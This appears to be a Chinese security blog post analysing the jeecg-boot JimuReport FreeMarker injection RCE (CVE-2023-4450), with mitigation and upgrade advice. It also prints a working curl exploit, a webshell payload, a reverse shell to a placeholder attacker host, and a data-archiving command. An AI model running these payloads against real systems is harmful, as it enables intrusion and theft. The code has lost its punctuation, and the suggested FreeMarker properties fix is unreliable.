1. 漏洞背景与危害分析最近在安全圈里闹得沸沸扬扬的jeect-boot积木报表RCE漏洞CVE-2023-4450让我想起了去年处理过的类似案例。这个漏洞的核心在于/jmreport/queryFieldBySql接口对用户输入的SQL语句处理不当导致攻击者可以执行任意系统命令。说实话这种漏洞在实际业务系统中相当危险因为它不需要任何认证就能直接利用。我测试过这个漏洞的利用过程发现它利用了FreeMarker模板引擎的特性。简单来说当系统用FreeMarker解析SQL语句时攻击者可以通过构造特殊的SQL语句注入FreeMarker模板代码。这些代码会被FreeMarker引擎执行从而触发远程命令执行。比如攻击者可以轻松地执行cat /etc/passwd这样的系统命令获取服务器敏感信息。这个漏洞影响所有1.6.1版本之前的jeect-boot积木报表系统。根据我的经验这类报表系统通常部署在企业内网存储着大量业务数据。一旦被利用攻击者不仅能获取数据库信息还能以Web服务身份执行更多恶意操作危害程度可以打到9分满分10分。2. 漏洞技术原理详解2.1 漏洞触发机制让我们深入看看这个漏洞是怎么工作的。queryFieldBySql接口原本的设计目的是让用户通过SQL语句查询报表字段。问题出在它使用了FreeMarker来解析SQL语句中的动态内容。FreeMarker本身是个强大的模板引擎但在这里被错误地用于处理不可信的用户输入。我通过反编译分析发现当接口收到类似下面的请求时{ sql: select #assign ex\freemarker.template.utility.Execute\?new() ${ ex(\whoami\) } }系统会先把这个SQL语句交给FreeMarker处理。FreeMarker看到#assign标签就会执行其中的代码创建一个能执行系统命令的Execute对象。最终whoami命令会在服务器上执行返回当前用户信息。2.2 关键问题分析这个漏洞暴露了几个典型的安全问题未授权访问接口没有做任何身份验证输入验证缺失直接信任用户输入的SQL语句危险功能滥用不必要地使用FreeMarker解析SQL默认危险配置FreeMarker允许实例化危险类我在审计代码时注意到开发者可能为了支持SQL中的动态变量而引入FreeMarker但忽略了安全风险。实际上这种需求应该通过参数化查询实现而不是模板引擎。3. 漏洞复现与实践3.1 环境搭建为了安全测试我在本地搭建了jeect-boot 1.6.0环境docker pull jeecgboot/jeecg-boot:1.6.0 docker run -p 8080:8080 jeecgboot/jeecg-boot:1.6.0建议大家在隔离环境中测试避免影响生产系统。3.2 漏洞利用步骤复现这个漏洞只需要简单的curl命令curl -X POST http://localhost:8080/jmreport/queryFieldBySql \ -H Content-Type: application/json \ -d {sql:select \#assign ex\freemarker.template.utility.Execute\?new() ${ ex(\id\) }\}执行后会返回当前用户的UID信息。更危险的利用方式包括写入webshellecho ?php eval($_GET[1]);? shell.php反弹shellbash -i /dev/tcp/attacker-ip/4444 01数据窃取tar -zcf /tmp/data.tar.gz /var/www/html我在测试中发现由于FreeMarker在Java环境下运行可以执行任意Java代码这使得漏洞利用更加灵活。4. 防御方案与修复建议4.1 紧急缓解措施如果暂时无法升级可以采取这些临时方案在Nginx配置中拦截对/jmreport/queryFieldBySql的请求使用WAF规则拦截包含FreeMarker模板标签的请求修改FreeMarker配置禁用危险指令# application.properties freemarker.template.utility.ObjectConstructornull freemarker.template.utility.Executenull4.2 彻底修复方案官方在1.6.1版本中修复了这个问题建议所有用户立即升级。修复方案主要包括移除接口的FreeMarker解析功能增加接口权限校验使用预编译SQL替代动态SQL升级步骤很简单# 修改pom.xml dependency groupIdorg.jeecgframework.boot/groupId artifactIdjeecg-boot-base-report/artifactId version1.6.1/version /dependency4.3 长期安全建议根据我多年做安全审计的经验给出几点建议对所有API接口实施最小权限原则建立输入验证机制特别是对SQL、模板等特殊内容定期进行安全扫描和代码审计保持依赖库及时更新这个案例再次证明功能强大的组件如果使用不当反而会成为安全隐患。开发者在引入第三方库时一定要充分了解其安全特性和最佳实践。